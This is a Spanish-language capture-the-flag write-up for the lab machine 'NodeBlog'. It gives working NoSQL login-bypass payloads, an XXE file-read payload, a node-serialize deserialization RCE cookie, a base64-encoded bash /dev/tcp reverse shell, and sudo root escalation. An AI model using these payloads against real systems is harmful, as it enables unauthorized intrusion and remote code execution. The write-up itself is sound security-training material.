NodeBlog Writeup

Reconocimiento

Al intentar acceder a la máquina directamente en el navegador, observamos que no hay un servicio ejecutándose en el puerto 80, como suele ser común, algo que podemos evidenciar muy facilmente realizando un escaneo básico con nmap:

nmap -p- --open -vvv -Pn -n -sS -sV --min-rate 5000 10.129.96.160 
editorial


Se encuentran solo dos servicios activos en la máquina, destacando el servicio en el puerto 5000 (Node.js), que indica que podría ser una aplicación web con la que posiblemente podamos interactuar.

editorial


El botón de inicio de sesión llama mi atención, sugiriendo intentar un ataque SQLi y analizar la solicitud con BurpSuite para observar el contenido de esta al intentar un inicio de sesión. Después de un escaneo de directorios, solo se encuentra el directorio /login.

Probando credenciales por defecto o muy básicas, notamos un comportamiento interesante en el panel de inicio de sesión. Sí ingresamos un nombre de usuario correcto con una contraseña incorrecta, obtenemos el mensaje “Invalid Password”; sí el nombre de usuario es incorrecto, el mensaje es “Invalid Username”, lo que permite una posible enumeración de usuarios. De esta forma, identificamos un usuario registrado con el nombre admin.

Tras intentar diversos métodos de bypass sin éxito en el inicio de sesión asumiendo que se emplea una base de datos Relacional (SQL), decidí probar técnicas orientadas a bases de datos no relacionales (NoSQL).

editorial


Inicialmente, probé bypasses manteniendo el mismo formato de “Content-Type” sin resultados, pero al cambiar el formato de este a JSON, logramos el bypass del inicio de sesión, lo que sugiere el uso de una base de datos NoSQL en el backend.

editorial


NOSQLi login Bypass básico

HackTricks

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

Tras el bypass de inicio de sesión, observamos que podemos crear y editar publicaciones existentes. Dado que se ejecuta JavaScript en el backend, intentamos un ataque XSS, pero a pesar de la ausencia de restricciones para ingresar etiquetas como:

<script>alert("Hola")</script>

No obtuvé ninguna respuesta de ejecución por parte del backend.

Intentando cargar un archivo, recibimos un mensaje de error indicando el uso de XML, lo cual abre la posibilidad de un XXE si el archivo se utiliza para enviar datos al backend.

editorial


El mensaje de error señala que el formato del archivo cargado es incorrecto. Visualizando el código fuente con Ctrl+U, vemos la estructura requerida para el archivo.

editorial


Para facilitar la carga de la estructura XML, podemos usar BurpSuite y enviar la solicitud al Repeater, creando una entidad readFile con la palabra clave SYSTEM, permitiendo al parser de XML interpretar la entidad como externa y almacenar el recurso consultado en la entidad para luego mostrarse en el root element del archivo XML.

editorial


Confirmamos que es vulnerable a XXE, permitiéndonos leer archivos en la máquina víctima.

editorial


Sí no tienes mucha experiencia con XML o XXE, te recomiendo los siguientes recursos:

PwnFunction S4viOnLive

editorial



Explotación

Tras varios intentos de enumerar archivos, como buscar claves RSA en el directorio .ssh del usuario admin, observamos que no hay contenido relevante. Recordando que al formatear incorrectamente el JSON durante el bypass del login obteníamos mensajes de error que revelaban rutas específicas en la máquina:

editorial


Ahora, contamos con rutas de referencia. Notamos que varias veces se menciona el directorio /opt/blog, lo que podría indicar que allí se encuentra la aplicación web.

En máquinas con Node.js y oportunidad de enumeración de contenido mediante ( XXE, RCE o LFI), es útil buscar archivos como server.js (index.js o app.js), que suelen contener la configuración principal del servidor web y el manejo de peticiones HTTP. Asumimos que /opt/blog es la raíz de la aplicación web, y apuntamos al archivo server.js con el siguiente XML:

<!DOCTYPE informacion [
    <!ENTITY readFile SYSTEM "file:///opt/blog/server.js">
]>
<post>
    <title>Mi primer publicacion</title>
    <description>&readFile;</description>
    <markdown>##Hola mundo</markdown>
</post>

Obtuvé la siguiente información

editorial


Al revisar detalladamente el archivo, inferimos que podríamos explotar una vulnerabilidad de deserialización, ya que el backend utiliza la librería node-serialize para convertir un objeto a JSON. La falta de validación antes de la deserialización permite un posible ataque RCE.

Si no se emplea correctamente la deserialización a un objeto Javascript en el backend esto puede resultar en la ejecución de comandos por parte de un atacante. Esto recide en que un atacante puede llegar a serializar un objeto que contenga un IIFE(Immediately Invoked Function Expression) la cual es ejecutada en el proceso de deserializacion dentro del contexto de la aplicación.

Aquí un ejemplo de una función que emplea IIFE(Immediately Invoked Function Expression).

"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.8', function(error, stdout, stderr){console.log(stdout)});}()"

_$$ND_FUNC$$_ es un prefijo especial usado por la librería node-serialize para permitir la serialización de funciones JavaScript. Este prefijo indica que el valor asociado es una función, y cuando el objeto es deserializado, node-serialize interpretará esa cadena como una función ejecutable.

El parantesis simple () que aparece al final de la línea o mejor conocido como IIFE(Immediately Invoked Function Expression) es empleado para hacer que el flujo del programa no espere ninguna llamada adicional, pero en este caso permite la ejecución de la función anónima durante el proceso de deserialización.

Añadimos a la cookie serializada el siguiente contenido tal que:

{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","rce":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"ping -c 1 10.10.14.192\", function(error, stdout, stderr) { console.log(stdout) });}()"}

Posteriormente procedemos a convertirla en formato URL ENCODE.

%7b%22%75%73%65%72%22%3a%22%61%64%6d%69%6e%22%2c%22%73%69%67%6e%22%3a%22%32%33%65%31%31%32%30%37%32%39%34%35%34%31%38%36%30%31%64%65%62%34%37%64%39%61%36%63%37%64%65%38%22%2c%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%5c%22%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%5c%22%29%2e%65%78%65%63%28%5c%22%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%31%39%32%5c%22%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d

Sí la máquina es vulnerable a un ataque de deserialización esta ejecutará el payload malicioso y realizará ping a nuestra máquina atacante, de tal modo confirmaría que el servidor es vulnerable a un ataque de deserialización que podemos derivar a un RCE.

El comando para levantar un servicio a la escucha de trazas ICMP es el siguiente:

tcpdump -i tun0 icmp -n

Interceptamos la petición con Burpuite y la enviamos al repeater donde le damos el formato que se indica anteriormente y confirmamos que la máquina victima es vulnerable a un RCE mediante un ataque de deserialización.

editorial


Para establecer la reverse shell, podemos usar la herramienta netcat con el comando nc llegado el caso que está se encuentre instalada o emplear un comando de bash directamente, como el siguiente

bash -i >& /dev/tcp/IP/PORT 0>&1

Para evitar problemas con algún carácter especial del anterior comando, podemos leer este desde un fichero y convertirlo a base64.

cat revshell | base64 -w 0; echo

El payload en la cookie debe tener un formato que, tras ser decodificado permita su ejecución por bash.

echo IyEvYmluL2Jhc2gKCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkyLzQ0NDQgMD4mMQo= | base64 -d | bash

Finalmente se ejecuta la revshell y obtenemos acceso como un usuario no privilegiado.

editorial



Escalada:

Al ingresar noto que no se cuenta con acceso al directorio del usuario admin y realizando una enumeracion básica no encontré nada relevante hasta que decido enumerar el directorio donde se encuentra desplegada la aplicación web /opt/blog, en el directorio routes al realizar cat al fichero login.js encontramos las credenciales de login del usuario admin.

editorial


Intenté realizar una conexión mediante ssh, pero la autenticación mediante contraseña para este servicio no se encuentra activa y necesita de la llave RSA del usuario admin.

La obtención de está credencial abre la ventana para que podamos ejecutar el comando sudo -l y evidenciar ficheros del sistema que podemos ejecutar como usuario root mediante sudo, pero para mi sorpresa podemos ejecutar cualquier comando del sistema.

editorial


Con esto la escalada de privilegios será un paseo por el parque, simplemente ejecutando el siguiente comando obtendremos una shell como el usuario root:

sudo bash -p

Y esta máquina estará completamente rooteada.

editorial